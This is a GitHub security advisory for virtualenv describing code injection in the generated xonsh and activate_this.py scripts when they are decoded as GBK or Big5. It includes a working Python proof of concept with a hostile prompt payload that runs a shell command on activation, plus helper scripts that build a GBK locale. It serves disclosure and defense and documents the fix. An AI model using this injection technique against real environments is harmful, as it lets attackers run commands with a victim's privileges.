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virtualenv: Xonsh activation literals depend on the script decoding codec

High severity GitHub Reviewed Published Oct 17, 2026 in pypa/virtualenv • Updated Oct 23, 2026

Package

pip virtualenv (pip)

Affected versions

< 21.14.9

Patched versions

21.14.9

Description

Summary

Caller-supplied prompt text can become executable syntax in the xonsh activation script. An attacker must influence the
value passed to virtualenv, and a user must subsequently activate the environment.

Affected area

Xonsh reads a UTF-8 activation script using a legacy multibyte encoding such as GBK. Printable non-ASCII bytes can
change how the reader recognizes an adjacent quote. The report concerns POSIX activation. It does not establish exposure
through unrelated activators.

Attacker-controlled input

The attacker controls prompt or destination data passed as a virtualenv argument. The user later sources the generated
activation script.

Affected code

The relevant 21.14.8 source is in
xonsh quote(),
UTF-8 template writer.

Mechanism

The generator writes activate.xsh as UTF-8. Its quote() used repr(), which leaves printable non-ASCII characters
in the file and backslash-escapes an embedded quote. Xonsh's source reads the file using $XONSH_ENCODING. With GBK
or Big5, the UTF-8 bytes of 中 end in 0xad, which pairs with the following 0x5c backslash as one decoded character.
The backslash no longer escapes the quote. A prompt containing both quote kinds can then close its Python string literal
and supply statements that run during activation. With UTF-8 source decoding, the same value stays inside the literal.

Reproduction and evidence

The original scanner finding, ANT-2026-PAUVP7YL, demonstrated this byte-level failure in activate_this.py: a hostile
prompt loaded through exec(open(file).read(), ...) under GBK created a marker, while UTF-8 and runpy.run_path
controls did not. The xonsh path in this advisory was identified in the subsequent maintainer-provided review.
PR #3432 shows the xonsh source-decoding chain and changes quote() to
ascii(), which writes non-ASCII characters as escapes. Its regression test encodes the generated literal as ASCII,
decodes it as GBK, and checks that ast.literal_eval returns the original prompt.

The attack needs control of the prompt or destination value, an affected xonsh source encoding, and later sourcing of
the generated file. The original activate_this.py reproducer does not itself prove xonsh execution; that result is
attributed to the separate review. Existing activate.xsh files must be regenerated after the fix.

Attack sequence

sequenceDiagram
    participant A as Prompt supplier
    participant V as virtualenv quote()
    participant F as activate.xsh bytes
    participant X as xonsh source
    A->>V: 中 plus escaped quote and statements
    V->>F: repr writes UTF-8 中 followed by backslash
    alt XONSH_ENCODING is UTF-8
        F->>X: backslash remains an escape
        X-->>A: prompt remains data
    else XONSH_ENCODING is GBK or Big5
        F->>X: decoder consumes backslash as trail byte
        X->>X: quote closes and statements run
    end
    Note over V,X: ascii() emits only ASCII bytes and preserves the literal

Reproducer files

The following files are from the scanner report for ANT-2026-PAUVP7YL. They were tested against commit a857a7823c73
in the scanner image. The repro entrypoint expects companion files under /tmp/repro.d; cases that change user IDs
need a disposable root-capable container. The last output line is BUG when the reported behavior occurs. These files
are included as evidence and were not rerun for this advisory update.

repro

#!/usr/bin/env python3
import os
import subprocess
import sys
from pathlib import Path
from shutil import rmtree

work = Path("/tmp/activate-this-gbk")
rmtree(work, ignore_errors=True)
work.mkdir()
env_dir = work / "venv"
marker = work / "MARKER"

# set up: a zh_CN.GBK locale, which the image does not ship
subprocess.run([sys.executable, "/tmp/repro.d/install_gbk_locale.py", work / "locales"], check=True)
utf8_session = {"PATH": os.environ["PATH"], "LANG": "C.UTF-8"}
gbk_session = {"PATH": os.environ["PATH"], "LANG": "zh_CN.GBK", "LOCPATH": str(work / "locales")}

# attacker: text that a tool relays as --prompt
# the payload's " makes repr() delimit with ' and write the prompt's own ' as \'
# 中 is e4 b8 ad in UTF-8; GBK reads e4 b8 as one character and ad 5c, ad plus that backslash, as the next
payload = f'__import__("os").system("touch {marker}")'
hostile_prompt = "中" + "';" + payload + "#"

# user: creates the environment with the virtualenv command
subprocess.run(["virtualenv", "--quiet", "--no-periodic-update", "--prompt", hostile_prompt, env_dir], check=True)
activate_this = (env_dir / "bin" / "activate_this.py").read_bytes()
prompt_line = next(line for line in activate_this.splitlines() if line.startswith(b'os.environ["VIRTUAL_ENV_PROMPT"]'))
print(f"activate_this.py read as UTF-8: {prompt_line.decode('utf-8')}")
print(f"activate_this.py read as GBK:   {prompt_line.decode('gbk')}")
assert not marker.exists(), "payload ran at creation time"

# trigger: the same program activates the environment, first in a UTF-8 session, then in a GBK one
activate = [sys.executable, "/tmp/repro.d/activate_with_exec_open.py", env_dir]
control = subprocess.run(activate, env=utf8_session, stdout=subprocess.PIPE, encoding="utf-8", check=True)
ran_in_utf8_session = marker.exists()
print(f"CONTROL  UTF-8 session: {control.stdout.strip()}; {marker} exists: {ran_in_utf8_session}")

observed = subprocess.run(activate, env=gbk_session, stdout=subprocess.PIPE, encoding="gbk", check=True)
ran_in_gbk_session = marker.exists()
print(f"OBSERVED GBK session:   {observed.stdout.strip()}; {marker} exists: {ran_in_gbk_session}")

# check: the prompt is data and must not run in either session
print("BUG" if ran_in_gbk_session and not ran_in_utf8_session else "OK")

repro.d/activate_with_exec_open.py

#!/usr/bin/env python3
# usage: activate_with_exec_open.py ENV_DIR
# A program that activates a virtualenv the way activate_this.py's docstring said to until virtualenv 20.26.2.
import locale
import os
import sys

this_file = os.path.join(sys.argv[1], "bin", "activate_this.py")
exec(open(this_file).read(), {"__file__": this_file})

print(f"open() decodes as {locale.getpreferredencoding(False)}, VIRTUAL_ENV_PROMPT is {os.environ['VIRTUAL_ENV_PROMPT']}")

repro.d/install_gbk_locale.py

#!/usr/bin/env python3
# usage: install_gbk_locale.py LOCPATH
# Does what `locale-gen zh_CN.GBK` would; the image has glibc's localedef but no charmap or locale sources.
import os
import subprocess
import sys

locpath = sys.argv[1]
os.makedirs(locpath)

charmap = ["<code_set_name> GBK", "<comment_char> %", "<escape_char> /", "<mb_cur_min> 1", "<mb_cur_max> 2", "CHARMAP"]
charmap += [f"<U{byte:04X}> /x{byte:02x}" for byte in range(0x80)]
for lead in range(0x81, 0xFF):
    for trail in range(0x40, 0xFF):
        try:
            char = bytes([lead, trail]).decode("gbk")
        except UnicodeDecodeError:
            continue
        charmap.append(f"<U{ord(char):04X}> /x{lead:02x}/x{trail:02x}")
charmap.append("END CHARMAP")
with open(f"{locpath}/GBK.charmap", "w") as charmap_file:
    charmap_file.write("\n".join(charmap) + "\n")

# -c: the source has no LC_TIME, LC_MONETARY, ...; localedef fills in defaults, warns and exits 1, so check the result below
source = "/tmp/repro.d/zh_CN_minimal.locale"
subprocess.run(["localedef", "-c", "-f", f"{locpath}/GBK.charmap", "-i", source, f"{locpath}/zh_CN.GBK"], capture_output=True)

gbk_session = {"PATH": os.environ["PATH"], "LANG": "zh_CN.GBK", "LOCPATH": locpath}
codeset = subprocess.run(["locale", "charmap"], env=gbk_session, capture_output=True, text=True, check=True)
if codeset.stdout.strip() != "GBK" or codeset.stderr:
    sys.exit(f"zh_CN.GBK locale not usable: {codeset}")

repro.d/zh_CN_minimal.locale

comment_char %
escape_char /
% Stand-in for glibc's locales/zh_CN: ASCII character classes only. What matters is the codeset name, GBK, which
% comes from the charmap given to localedef with -f.
LC_CTYPE
upper <U0041>..<U005A>
lower <U0061>..<U007A>
digit <U0030>..<U0039>
space <U0009>..<U000D>;<U0020>
cntrl <U0000>..<U001F>;<U007F>
punct <U0021>..<U002F>;<U003A>..<U0040>;<U005B>..<U0060>;<U007B>..<U007E>
xdigit <U0030>..<U0039>;<U0041>..<U0046>;<U0061>..<U0066>
blank <U0009>;<U0020>
END LC_CTYPE
LC_COLLATE
order_start forward
UNDEFINED
order_end
END LC_COLLATE

Impact

An affected activation can execute commands with the user's privileges. Severity is high, following the generated-script
precedent in GHSA-p58f-9548-mpm2. The
attack requires control of argument data and subsequent user activation; it does not require replacing an executable or
controlling app-data contents.

Versions tested

The supplied follow-up review marks command execution as independently confirmed by its author. The implementation
review used source inspection and patched literal-value checks, without rerunning that exploit. The relevant activation
source is identical between release 21.14.8 and upstream/main 233359cb. The maintainer previously confirmed validation
of the reported findings on 21.14.8. The first affected version has not been established. Fixed in 21.14.9.

Known mitigation

Use trusted prompt and destination values. Use UTF-8 source decoding in xonsh on older releases.
Recreate environments with virtualenv 21.14.9 or later.

Affected release

  • The problem reproduces on virtualenv 21.14.8.

Credits

The original report was supplied by Anthropic's OSS Scanner as ANT-2026-PAUVP7YL. The subsequent maintainer-provided
review identified the remaining activation path.

Additional fix branch

PR #3411 also uses ASCII-only literals for paths and prompts, alongside
its activation-state changes. Both branches must retain this quoting rule when integrated.

References

@gaborbernat gaborbernat published to pypa/virtualenv Oct 17, 2026
Published by the National Vulnerability Database Oct 20, 2026
Published to the GitHub Advisory Database Oct 23, 2026
Reviewed Oct 23, 2026
Last updated Oct 23, 2026

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v4 base metrics

Exploitability Metrics
Attack Vector Local
Attack Complexity High
Attack Requirements Present
Privileges Required None
User interaction Active
Vulnerable System Impact Metrics
Confidentiality High
Integrity High
Availability High
Subsequent System Impact Metrics
Confidentiality None
Integrity None
Availability None

CVSS v4 base metrics

Exploitability Metrics
Attack Vector: This metric reflects the context by which vulnerability exploitation is possible. This metric value (and consequently the resulting severity) will be larger the more remote (logically, and physically) an attacker can be in order to exploit the vulnerable system. The assumption is that the number of potential attackers for a vulnerability that could be exploited from across a network is larger than the number of potential attackers that could exploit a vulnerability requiring physical access to a device, and therefore warrants a greater severity.
Attack Complexity: This metric captures measurable actions that must be taken by the attacker to actively evade or circumvent existing built-in security-enhancing conditions in order to obtain a working exploit. These are conditions whose primary purpose is to increase security and/or increase exploit engineering complexity. A vulnerability exploitable without a target-specific variable has a lower complexity than a vulnerability that would require non-trivial customization. This metric is meant to capture security mechanisms utilized by the vulnerable system.
Attack Requirements: This metric captures the prerequisite deployment and execution conditions or variables of the vulnerable system that enable the attack. These differ from security-enhancing techniques/technologies (ref Attack Complexity) as the primary purpose of these conditions is not to explicitly mitigate attacks, but rather, emerge naturally as a consequence of the deployment and execution of the vulnerable system.
Privileges Required: This metric describes the level of privileges an attacker must possess prior to successfully exploiting the vulnerability. The method by which the attacker obtains privileged credentials prior to the attack (e.g., free trial accounts), is outside the scope of this metric. Generally, self-service provisioned accounts do not constitute a privilege requirement if the attacker can grant themselves privileges as part of the attack.
User interaction: This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable system. This metric determines whether the vulnerability can be exploited solely at the will of the attacker, or whether a separate user (or user-initiated process) must participate in some manner.
Vulnerable System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the VULNERABLE SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the VULNERABLE SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the VULNERABLE SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
Subsequent System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the SUBSEQUENT SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the SUBSEQUENT SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the SUBSEQUENT SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
CVSS:4.0/AV:L/AC:H/AT:P/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

EPSS score

Exploit Prediction Scoring System (EPSS)

This score estimates the probability of this vulnerability being exploited within the next 30 days. Data provided by FIRST.
(7th percentile)

Weaknesses

Improper Control of Generation of Code ('Code Injection')

The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment. Learn more on MITRE.

CVE ID

CVE-2026-113718

GHSA ID

GHSA-394h-qwmc-48pf

Source code

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